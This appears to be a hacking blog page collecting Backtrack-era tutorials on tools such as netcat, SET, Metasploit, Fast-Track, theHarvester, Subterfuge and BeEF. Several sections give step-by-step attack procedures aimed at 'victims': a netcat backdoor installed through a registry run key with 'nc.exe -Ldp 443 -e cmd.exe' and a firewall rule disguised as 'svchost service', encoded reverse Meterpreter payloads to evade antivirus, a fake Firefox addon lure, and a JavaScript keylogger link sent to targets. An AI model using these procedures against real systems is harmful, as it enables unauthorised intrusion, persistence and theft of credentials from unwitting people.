Golismero - A Web Knife

Hey all in this short tutorial i will be telling you all about golismero - A Web Knife.

What Is Golismero ?

GoLISMERO help you to map a web application, displaying as confortable format for security auditor and preparing them for intergrate with other web hacking tools as w3af, wfuzz, netcat, nikto, etc.

Features Of Golismero

• Map a web aplication.
• Show all links and forms params as confortable format.
• Save results with some formats: text, cvs, html, raw (for parsing with bash script) and wfuzz script.
• Detect common vulnerabilites of web application.
• Filter web information retaining only what is important.
• Many other features you can find very useful. 

Ok so till now i told you all its info now comes how to use it, so here we go follow me

1. First of all open your backtrack then  terminal and type  cd /pentest/web/golismero 

 

 2. Now type python GoLismero.py –t http://www.example.com -c.
 
I used google for example and i got result similar to the below image.

 


I hope you all enjoyed this tutorial and if you have any  problem or question then you may ask in comments.

Read More

Using NetCat As A Backdoor In Windows 7

Hey all in this tutorial i will be showing you all the power of netcat. So i will be telling you all how to use netcat as backdoor. As after getting access to your victim system you must be wanting future access without any problem so here's the way for doing that.

>What Is Netcat ?

Netcat is utility used to write data across TCP and UDP networks. Using netcat an attacker can place backdoor that will allow him/her to telnet DOS shell. In fact netcat can be used as port scanner, banner grabbing tool, Trojan and backdoor. The power of netcat can be calculated from the fact that it can act as both server and client and even doesn't get detected by Anti-Virus and even if it gets detected its source code is available add some unnecessary code that will change its signature thus allowing it by bypass Anti-Virus.

So that was info of netcat, now lets start our work for that follow me.

1. The first step is to gain access in the victim system for that you can prefer my older tutorials on system hacking.

 
2. Now we will have to upload our netcat.exe to victim computer. For that we will use following command


upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32


Note--> You must have privilege to system account.

3. Now we need to configure the registry to make NetCat execute on Windows start up and listening on port 443.


For that we will  edit the key "HKLM\software\microsoft\windows\currentversion\run". So after editing  our command will be : reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

4. Now we need to add NetCat in startup process for that we will use following command

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe 

 
5. Now to check our backdoor autorun process and make sure it already added on autorun list  we can use following command


reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc

So it shows that our backdoor is present there.


6. Now we need to alter the system to allow remote connections through the firewall to our netcat backdoor using netsh command and open port 443 .

For that run shell command to access command promt ad then run the following command



netsh advfirewall firewall add rule name="svchost service" dir=in action=allow protocol=TCP localport=443

7. Ok now done so for checking that our new rule has been added or not we will use following command

netsh firewall show portopening

Ok so everything goes correct. Now we can connect to victim system by using following command  

nc -v victim ip address port
 

Now we can do many things like we can reboot victim system by using reboot or shutdown -r -t 00
 command .



I hope you all enjoyed this tutorial and if u feel any confusion or problem then you may ask in comments.

Read More

Hacking Windows Machine Using SET(Social Engineering Tools)

Hey all in this tutorial i will be telling you all how to hack windows machine using SET tool. As we lready discussed about some attacks using SET but this one is quite easy and also good working with lee time taking.

Things Required

• Victim's machine--> Windows machine (java must be there in victim's machine)

• Attacker's machine--> Backtrack(along with SET tools)

Now follow me_____!!!!!!

1. Open your SET tool by going in directory given below

 Applications-->Backtrack-->Exploitation Tools-->Social Engineering Tools-->Social Engineering Toolkit-->SET


2. After set opened select 1st option that is Social-Engineering Attacks and after that select option 2 that is Spear-Phishing Attack Vectors.

 

3. After that select option 1 that is Java Applet Attack Method and again select option 1 that is Web Templates.

 

4. After that select option 1 that is Java Required and then comes the payload. Select the pyalod you want in my condition i am taking Windows Reverse_TCP Meterpreter that is option 2 and after that we need to select encoder to make our backdoor undetectable. I suggest you choosing option 2 that is shikata_ga_nai and after that comes port, i am using default port that is 443.

5. If everything will be ok then you will get screen something similar to the below image

6. Now use social-engineer or any trick and let victim surf your ip address(Attacker's ip) and also victim must run that application.

7. If everything goes right then you will screen similar to below image which shows that victim got hacked and we can now access victim's system easily.

8. Now we can do many things in victim system just by putting our shell.

I hope you all enjoyed this tutorial and if u feel any confusion or problem then you may ask in comments.

Read More

Installing Nessus In Backtrack 5

Hey all in this short tutorial i will be telling you all about basics of nessus  how to install nessus in backtrack 5,

What Is Nessus ?

Nessus is a free program released under the GPL. Historically, many in the corporate world have ridiculed such public domain software as being a waste of time, instead choosing "supported" products developed by established companies. Typically these packages cost hundreds or thousands of dollars, and are often purchased using the logic that you get what you pay for. 


Nessus is one of the best vulnerability scanner that is available in two mode for both home and commercial user's, nessus plug in for home user is free of cost. However we have OpenVAS and Nexpose they both are also a good vulnerability scanner.It is a great tool designed to automate the testing and discovery of known security problems. Typically someone, a hacker group, a security company, or a researcher discovers a specific way to violate the security of a software product.

Features Of Nessus

The Nessus vulnerability scanner is the world's most widely-deployed vulnerability and configuration assessment product, with over five million downloads to date. Nessus is rated among the top vulnerability scanners throughout the security industry and is endorsed by professional security organizations, such as, the SANS Institute. Nessus is supported by a world-renowned research team and has an extensive vulnerability knowledge base that is continually updated.

Nessus features include:

    Agentless auditing
    Compliance checks
    Content audits
    Customized reporting
    High-speed vulnerability discovery
    In-depth assessments
    Patch management integration
    Scan policy design & execution

Nessus vulnerability scanners can be distributed throughout an entire enterprise, inside DMZs and across physically separate networks.

Installing Nessus In Backtrack

There are mainly two ways to get Nessus on Backtrack 5  first one is to download a copy of nessus from its official website but the easiest way is to use your terminal which we will be discussing in this tutorial.

So follow me now

1. Open terminal and type apt-get install nessus.

2. After installing nessus successfully in backtrack 5 now the time comes to add user. For that use command  /opt/nessus/sbin/nessus-adduser and then add user as per as your choice.

3. After adding users we need to registeration. It is most important phase and you need to decided that what you want a home feed or a business feed, for registration go http://www.nessus.org/register/ and after getting registeration code, open terminal and type /opt/nessus/bin/nessus-fetch --register registeration key.


Now for opening nessus type /etc/init.d/nessusd start .


Than at the browser use https://127.0.0.1:8834 to start nessus and you will get screen similar to the below image.

To stop nessus type /etc/init.d/nessusd stop.


So its enough for this tutorial in future tutorials i will be telling you all how to use nessus. 


I hope you all enjoyed this tutorial and if u feel any confusion or problem then you may ask in comments.

Read More

Hacking Windows using Mozilla Firefox Addon

Hey all as we know that these days users of firefox increased rapidly and also users like to use addons alot for different purposes like for removing timelines, for making firefox work more goodly. So it will be quite easy for doing social engineering and making fool to your victim.

About This Vulnerability

This exploit dynamically creates a .xpi addon file. The resulting bootstrapped Firefox addon is presented to the victim via a web page with. The victim's Firefox browser will pop a dialog asking if they trust the addon. Once the user clicks "install", the addon is installed and executes the payload with full user permissions. As of Firefox 4, this will work without a restart as the addon is marked to be "bootstrapped". As the addon will execute the payload after each Firefox restart, an option can be given to automatically uninstall the addon once the payload has been executed.

Things Required

Attacker's Machine --> Backtrack 5

Victim's Machine--> Windows Machine

So let's start, follow me

1. Open metasploit framework and then use exploit  firefox xpi bootstrapped addon exploit.

so our command will be use exploit/multi/browser/firefox_xpi_bootstrapped addon.

After that set your payload as per as your choice. For this tutorial i will be using windows/meterpreter/reverse_tcp.
So our command will be  set payload windows/meterpreter/reverse_tcp.

So you must get something as shown in below image

 

2. Ok so now our exploit and payload are set but now we need to check whether all the options are ok or not . For that use command show options  this will show us all the things necessary for doing this attack.
Now fill all the options with required things.
In my case all the required options are filled as shown in below image.

Information of the things filled-->

  set addonname tweak firefox to load faster --> eye catching name for social engineering purpose

  set srvhost xxx.xxx.xxx--> your server ip address run the exploit 

  uripath firefox-tweaker --> make the URL more friendly

  set lhost xxx.xxx.xxx--> local ip address to receive connection from victim


 3. So if everything is filled correctly then you can start your attack by using exploit command,

Now send your url to the victim in my condition the url is http://192.168,174.130:8080/firefox-tweaker.

4. Our victim will get screen something similar to the below screen.

 

5. Now if victim successfully installed the addon then we can use sessions -l command to see the information.

We can do many things like taking screenshots,downloading files and also we can put our backdoor for future. I will be telling all this in future tutorials.


I hope you all enjoyed this tutorial and if u feel any confusion or problem then you may ask in comments.

Read More

Hacking With Fast-Track

Hey all in this tutorial i will be telling you all about hacking with Fast Track. So without wasting time lets start our work.

What Is Fast Track ?

Fast Track is a compilation of custom developed tools that allow penetration testers the ease of advanced penetration techniques in a relatively easy manner.
Some of these tools utilize the Metasploit framework in order to successfully create payloads, exploit systems, or interface within compromised systems.
It makes it very easy for pen testers to exploit  the client side data,improper,patch management etc.It has dependencies on metasploit,SQLite,FreeTDS etc. 
  

Using Fast-Track For Payload Generation

There are three interface available for fast track on backtrack 5, i will show you how to generate payload by using fast track, you can use fast track web interface too for different purposes like auto-pwn.
 
Ok so follow me 

1. Click on

 Applications-->Backtrack-->Exploitation tools-->Network exploitation tools-->Fast-Track-->fasttrack-interactive

After opening fasttrack-interactive you will see something as shown in below image.

 

  

  2. You will get the first window that is menu windows,in that  enter number 8 that is payload generator.

 

 3.  Now it will ask you about payload enter number 2 that is "Reverse_TCP Meterpreter".

 

 4.   Now we need to encode our payload so that it can easily bypass antivirus software's and IDS. I will be using option 2 i.e. shikata_ga_nai.





 5. On the next step  we have to enter IP address of the victim than port number. If you dont know how to scan for ports and all then you can read my tutorial on Nmap.

After that select the type of payload either EXE or shell code. For this tutorial I will be choosing EXE.

 

6. Now a file name payload.exe has been created, you can get the file by going on filesystem-->pentest>exploit-->fasttrack-->payload.exe.

Now use  some social engineering technique to run this payload on the victim system than on the fast-track window start listing your payload to get our work done. If  everything goes  fine then you will get the command window of the victim. 


I hope you all enjoyed this tutorial and if u feel any confusion or problem then you may ask in comments.
 

Read More

Theharvester (Information Gathering Tool)

Hey awl m bck as i was busy these days.So today i will be telling you all about Harvester. It is a information gathering tool and as we know getting information is the first step in hacking.An intelligent penetration tester use some intelligent tools and techniques to get the right information on a right time, for social engineering (human hacking) you need relevant information about a person.

 

What is The Harvester

It is a tool which provides us information of about e-mail accounts, user names and hostnames/subdomains from different public sources like search engines and PGP key servers. This tool is very easy to use and as hackers first step is information gathering so by this tool they can get quite good and efficient result. There are different information gathering tools like nmap,zenmap,maletgo,etc. We will discuss about them also in later tutorials.

Downloading And Installing The Harvester

So if you are using backtrack than you not need to download and install harvester because it is available on backtrack, whereas for other Linux distributions like ubuntu download and install it. However you can download and use Theharvester for other Operating system as it needs python to run.

Basic Usage Of The Harvester

  For opening it in backtrack,open terminal and type cd /pentest/enumeration/theharvester as shown in
 the image below For other distributions locate the directory.

 

 For obtaining information you can use simple command that is ./theHarvester.py -d targetsite.com -l 500 -b google.

 This will search the information of target site in google. It allows google,bing,linkedin,pgp search options.

 For showing better and good results i took google for example.so for searching google information we will use command ./theHarvester.py -d google.com -l 500 -b google.

So i got result something like in below image.




 


 I hope you all enjoyed this tutorial and if u feel any confusion or problem then you may ask in comments.

Read More

Subterfuge (Man-in-the-Middle Attack Framework)

Hey awl in diz tut i will be telling you all about subterfuge.

     What Is Subterfuge

Subterfuge is a Framework to take the arcane art of Man-in-the-Middle Attack and make it as simple as point and shoot. A beautiful, easy to use interface which produces a more transparent and effective attack is what sets Subterfuge apart from other attack tools. Subterfuge demonstrates vulnerabilities in the ARP Protocol by harvesting credentials that go across the network, and even exploiting machines through race conditions.

Features Of Subterfuge

• Credential Harvester
• Http Injection Code
• Session Hijacking
• Race Condition Exploitation
• DNS Spoofing
• Evilgrade update exploitation
• Wireless attack suite

Installing Subterfuge In Backtrack

          Step1: First Download Subterfuge from here

Step2: Now go to desktop directory using cd Desktop command in terminal and after that Untar your subterfuge using tar fvxz SubterfugePublicBeta2.1.tar.gz command.






Step3: Now open subterfuge folder using cd Desktop/subterfuge command and type ./install.py -i command to install subterfuge.






Step4: Now After installing subterfuge successfully open your backtrack terminal and type subterfuge.




Step5: Now start a Web browser and navigate to 127.0.0.1:80/. After a few seconds your subterfuge GUI will be displayed.



 





In future tutorials i will be telling you all about different attacks using subterfuge.

Read More

Hacking With Java Script Keylogger In Metaspolit

Hey awl in diz tut i will tell you awl how to use Java Script Keylogger in Metaspolit.

Features Of Java Script Keylogger

This module runs a web server that demonstrates keystroke logging through JavaScript. The DEMO option can be set to enable a page that demonstrates this technique. Future improvements will allow for a configurable template to be used with this module. To use this module with an existing web page, simply add a script source tag pointing to the URL of this service ending in the .js extension. For example, if URIPATH is set to "test", the following URL will load this script into the calling site: http://server:port/test/anything.js.

Ok so here we go

Open backtrack terminal type

Now search keylogger. Now you should be able to see the module.

Now type use auxiliary/server/capture/http_javascript_keylogger

Msf exploit (http_javascript_keylogger)>set demo true

Msf exploit (http_javascript_keylogger)>set lhost 192.168.213.128 (IP of Local Host)

Msf exploit (http_javascript_keylogger)>set srvhost 192.168.213.128 (This must be an address on the local machine)

Msf exploit (http_javascript_keylogger)>set uripath keylogger (The Url to use for this exploit)

Msf exploit (http_javascript_keylogger)>exploit 

Now send the URL to the victim and add demo at the end of the URL
http://192.168.213.128:8080/ZQVzH0wo89m6zmg/demo

Now as soon as the victim clicks on dt link  it will show something like shown in below screenshot.

As the victims types anything on username and password field that will be stroked and will be shown to you something like in below screenshot

Its quite difficult to make anyone fool through this trick but it depends upon your way of making fool.

Read More

Hacking With BeEF (Browser Exploitation Framework)

Hey awl in diz tut i will be telling you all about an aww tool that is BeEF (Browser Exploitation Framework).

What Is BeEF

BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser. The Browser Exploitation Framework (BeEF) is a powerful professional security tool.

BeEF focuses on leveraging browser vulnerabilities to assess the security posture of a target. This project is developed solely for lawful research and penetration testing. BeEF hooks one or more web browsers as beachheads for the launching of directed command modules. Each browser is likely to be within a different security context, and each context may provide a set of unique attack vectors. 

    It has various uses.
    It can Port scan the zombie.(BeEF framework uses word zombies for targets/victims).
    It helps to foot print the zombie for various plugins and settings.
    It can exploit the browser vulnerabilities.
    It can be used as key logger.
    It can be used as a platform to check exploit behaviour under different browsers like IE, Firefox, Safari etc.

The good thing about BeEF, is that it is designed in a modular way (which makes addition of new exploits as easy as possible). Additionally, it is cross platform.

The functionality of the framework revolves around two components namely zombies and modules.

    Zombies are the prospective targets (browsers) which can be exploited/manipulated based up on their security posture.
    Modules are the functional parts of the framework. They let us use exploits, shells, port scanner etc.

Features of BeEf

BeEF is actively being developed by its developers. They have plans to incorporate many features. BeEF has following features right now in the PHP version.

1. Key logger
2. Bind shells
3. Port scanner
4. Clipboard theft
5. Tor detection
6. Integration with Metasploit Framework
7. Many browser exploitation modules
8. Browser functionality detection
9. Mozilla extension exploitation support

How Does It Works

 

BeEF is built on a client-server architecture and has two components namely :- User interface Communication server  User interface It has a very nice and easy to use User interface. This component acts an interface between BeEF framework, zombies (BeEFframework uses word zombies for targets/victims ) and the attacker. UI lets you select zombies, select modules, and configure various settings etc. Communication Server This component is the base of the framework. The communication Server communicates with the targets via the http protocol and takes care of everything the framework does. A typical scenario A attacker hosts a site using BeEF. Victim access the web page hosted by attacker. The web page triggers BeEF framework to send the instructions to the browser, to execute on the target machine. The user gets added into the zombie list of the framework. The whole process is invisible to the user.

 

Now attacker logs in to the BeEF server remotely and can run modules to get the desired outcome. He can redirect the victim to a malicious site, exploit vulnerable browser, log the browser activity etc. Usages are limit less and are only restricted by imagination/creativity of the attacker.

Installing Browser Exploitation Framework in BackTrack 

First Open Your backtrack and Follow these path

Applications->Backtrack–>Exploitation Tools->Social Engineering Tools->BEEF XSS Framework>BeEF Installer 

 

Now Beef is Successfully Install in your system

 

Using BeEf (Browser Exploitation Framework )

Open your backtrack and Follow these path

 Applications->Backtrack–>Exploitation Tools->Social Engineering Tools->BEEF XSS Framework>BeEF
 

 

 

Then copied the URL and launch it in the browser (The darkened one is my URL based on the IP of my virtual box machine yours will be different)

USERNAME and PASSWORD is Beef

 

 

 

Now send the link http://192.168.213.128:3000//demos/basic.html(IP must be yours) with any trick.

 

As soon as victim launched this link in his/her browser the you can access his/her system.

 

 

I will try to post more tutorials in BeEf with new things.

Read More